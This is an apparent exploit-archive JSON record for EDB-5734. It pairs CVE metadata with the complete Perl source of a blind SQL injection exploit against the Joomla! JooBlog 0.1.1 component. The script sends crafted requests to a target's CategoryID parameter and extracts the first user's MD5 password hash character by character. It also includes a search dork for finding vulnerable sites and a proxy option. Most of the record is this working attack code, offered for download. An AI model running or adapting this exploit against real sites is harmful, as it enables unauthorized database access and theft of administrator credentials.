{"exploit":{"id":"EDB-5734","name":"Joomla! Component JooBlog 0.1.1 - Blind SQL Injection (SQLi)","description":"Joomla! Component JooBlog 0.1.1 - Blind SQL Injection (SQLi)","cves":["CVE-2008-5051","CVE-2008-2630"],"author":"His0k4","published":"2008-06-03","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5734","path":"exploits/php/webapps/5734.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5734.pl","vulnerabilities":[{"id":"CVE-2008-5051","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the JooBlog (com_jb2) component 0.1.1 for Joomla! allows remote attackers to execute arbitrary SQL commands via the PostID parameter to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5051","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5051"},"updatedAt":"2024-08-07T10:40:16.826Z","retrievedAt":"2026-11-27T07:30:41.041Z","stale":false,"error":null},{"id":"CVE-2008-2630","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the JooBlog (com_jb2) component 0.1.1 for Joomla! allows remote attackers to execute arbitrary SQL commands via the CategoryID parameter in a category action to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2630","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2630"},"updatedAt":"2024-08-07T09:05:30.290Z","retrievedAt":"2026-11-27T07:07:13.524Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5734.png?v=2","url":"https://exploitbin.com/exploits/EDB-5734","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5734/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5734/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\nuse LWP::UserAgent;\nuse Getopt::Long;\n\nif(!$ARGV[1])\n{\n  print \"                                                                \\n\";\n  print \"   #############################################################\\n\";\n  print \"   #   Joomla Component JooBlog Blind SQL Injection Exploit    #\\n\";\n  print \"   #   Author:His0k4 [ALGERIAN HaCkeR]                         #\\n\";\n  print \"   #                                                           #\\n\";\n  print \"   #   Conctact: His0k4.hlm[at]gamil.com                       #\\n\";\n  print \"   #   Greetz:   All friends & muslims HacKeRs                 #\\n\";\n  print \"   #   Greetz2:  http://www.palcastle.org/cc :)                #\\n\";\n  print \"   #                                                           #\\n\";\n  print \"   #   Dork :   inurl:com_jb2                                  #\\n\";\n  print \"   #   Usage:   perl jooBlog.pl host path <options>            #\\n\";\n  print \"   #   Example: perl jooBlog.pl www.host.com /joomla/ -c 5     #\\n\";\n  print \"   #                                                           #\\n\";\n  print \"   #   Options:                                                #\\n\";\n  print \"   #     -c    Category  id                                    #\\n\";\n  print \"   #############################################################\\n\";\n  exit;\n}\n\nmy $host    = $ARGV[0];\nmy $path    = $ARGV[1];\nmy $userid  = 1;\nmy $cid     = $ARGV[2];\n\nmy %options = ();\nGetOptions(\\%options, \"u=i\", \"p=s\", \"c=i\");\n\nprint \"[~] Exploiting...\\n\";\n\nif($options{\"u\"})\n{\n  $userid = $options{\"u\"};\n}\n\nif($options{\"c\"})\n{\n  $cid = $options{\"c\"};\n}\n\nsyswrite(STDOUT, \"[~] MD5-Hash: \", 14);\n\nfor(my $i = 1; $i <= 32; $i++)\n{\n  my $f = 0;\n  my $h = 48;\n  while(!$f && $h <= 57)\n  {\n    if(istrue2($host, $path, $userid, $cid, $i, $h))\n    {\n      $f = 1;\n      syswrite(STDOUT, chr($h), 1);\n    }\n    $h++;\n  }\n  if(!$f)\n  {\n    $h = 97;\n    while(!$f && $h <= 122)\n    {\n      if(istrue2($host, $path, $userid, $cid, $i, $h))\n      {\n        $f = 1;\n        syswrite(STDOUT, chr($h), 1);\n      }\n      $h++;\n    }\n  }\n}\n\nprint \"\\n[~] Exploiting done\\n\";\n\nsub istrue2\n{\n  my $host  = shift;\n  my $path  = shift;\n  my $uid   = shift;\n  my $cid   = shift;\n  my $i     = shift;\n  my $h     = shift;\n\n  my $ua = LWP::UserAgent->new;\n  my $query = \"http://\".$host.$path.\"index.php?option=com_jb2&view=category&CategoryID=\".$cid.\" and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),\".$i.\",1))=CHAR(\".$h.\")\";\n\n  if($options{\"p\"})\n  {\n    $ua->proxy('http', \"http://\".$options{\"p\"});\n  }\n\n  my $resp = $ua->get($query);\n  my $content = $resp->content;\n  my $regexp = \"jb_post_footer\";\n\n  if($content =~ /$regexp/)\n  {\n    return 1;\n  }\n  else\n  {\n    return 0;\n  }\n\n}\n\n# milw0rm.com [2008-06-03]","sha256":"6ee28b2ea31e4b545897541fece15784494897c9b95b45c1e047800029e27a7c","bytes":2753,"fetchedAt":"2026-11-27T07:07:12.148Z","encoding":"utf-8 (display only; download retains original bytes)"}